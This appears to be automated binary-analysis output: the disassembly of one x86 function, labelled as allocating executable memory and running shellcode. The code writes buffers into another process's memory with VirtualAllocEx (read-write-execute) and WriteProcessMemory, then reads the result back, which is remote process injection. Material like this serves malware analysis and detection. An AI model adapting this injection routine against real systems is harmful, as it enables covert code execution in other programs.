Function at 0x51f5ec
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffad4
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
call fcn.00404bc8
xor eax, eax
push ebp
push 0x51f83e
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x529]
xor ecx, ecx
mov edx, 0x501
call fcn.00403174
xor ebx, ebx
mov eax, dword [0x52b2d4]
cmp dword [eax], 0
je 0x51f828
mov eax, dword [0x52b318]
cmp dword [eax], 0
je 0x51f828
mov eax, dword [0x52b998]
push eax
call sub.KERNEL32.DLL_EnterCriticalSection_1
call sub.KERNEL32.DLL_GetTickCount_1
mov edx, dword [0x52b5e4]
sub eax, dword [edx]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0x5dc
mov eax, dword [ebp + 8]
call fcn.0051f530
test al, al
jne 0x51f689
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x10]
jae 0x51f689
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x14]
push eax
call sub.KERNEL32.DLL_Sleep_1
push 0x40
push 0x1000
push 0x1000
push 0
mov eax, dword [0x52b2d4]
mov eax, dword [eax]
push eax
call sub.KERNEL32.DLL_VirtualAllocEx
mov edi, eax
call fcn.00402bb4
mov eax, 0x7d0
call fcn.00403194
mov ebx, eax
add ebx, edi
inc ebx
mov esi, ebx
add esi, 0x1f4
lea eax, [ebp - 0x10]
push eax
push 0x64
mov eax, dword [ebp - 4]
push eax
push ebx
mov eax, dword [0x52b2d4]
mov eax, dword [eax]
push eax
call sub.KERNEL32.DLL_WriteProcessMemory
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
push esi
mov eax, dword [0x52b2d4]
mov eax, dword [eax]
push eax
call sub.KERNEL32.DLL_WriteProcessMemory
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x24], 1
mov eax, dword [0x52b76c]
mov eax, dword [eax + 0x30]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], esi
lea edx, [ebp - 0x28]
mov eax, dword [0x52b76c]
mov eax, dword [eax + 0x34]
add eax, 0x500
mov ecx, 0x14
call fcn.0051b320
mov eax, dword [0x52b87c]
mov eax, dword [eax]
call fcn.0051ffb4
mov eax, dword [0x52b318]
cmp dword [eax], 0
je 0x51f767
mov eax, dword [0x52b76c]
mov eax, dword [eax + 0x34]
add eax, 0x504
call fcn.0051b1c4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x51f767
push 0x14
call sub.KERNEL32.DLL_Sleep_1
jmp 0x51f739
lea eax, [ebp - 0x28]
xor ecx, ecx
mov edx, 0x14
call fcn.00403174
lea edx, [ebp - 0x28]
mov eax, dword [0x52b76c]
mov eax, dword [eax + 0x40]
add eax, 0x500
mov ecx, 0x14
call fcn.0051b320
lea edx, [ebp - 0x529]
mov ecx, 0x501
mov eax, ebx
call fcn.0051b320
mov eax, dword [0x52b69c]
add eax, 0x5c
mov edx, dword [ebp + 8]
call fcn.0040476c
mov eax, dword [0x52b69c]
mov byte [eax + 0x60], 1
lea eax, [ebp - 0x10]
push eax
push 4
lea eax, [ebp - 0x14]
push eax
mov eax, esi
cdq
push edx
push eax
mov eax, dword [ebp - 0xc]
xor edx, edx
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
push eax
mov eax, dword [0x52b2d4]
mov eax, dword [eax]
push eax
call sub.KERNEL32.DLL_ReadProcessMemory
mov ebx, dword [ebp - 0x14]
mov eax, dword [ebp + 8]
call fcn.0051f530
test al, al
jne 0x51f808
call sub.KERNEL32.DLL_GetTickCount_1
xor edx, edx
mov ecx, dword [0x52b5e4]
mov dword [ecx], eax
mov dword [ecx + 4], edx
push 0x8000
push 0
push edi
mov eax, dword [0x52b2d4]
mov eax, dword [eax]
push eax
call sub.KERNEL32.DLL_VirtualFreeEx
mov eax, dword [0x52b998]
push eax
call sub.KERNEL32.DLL_LeaveCriticalSection_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x51f845
lea eax, [ebp + 8]
call fcn.00404718
ret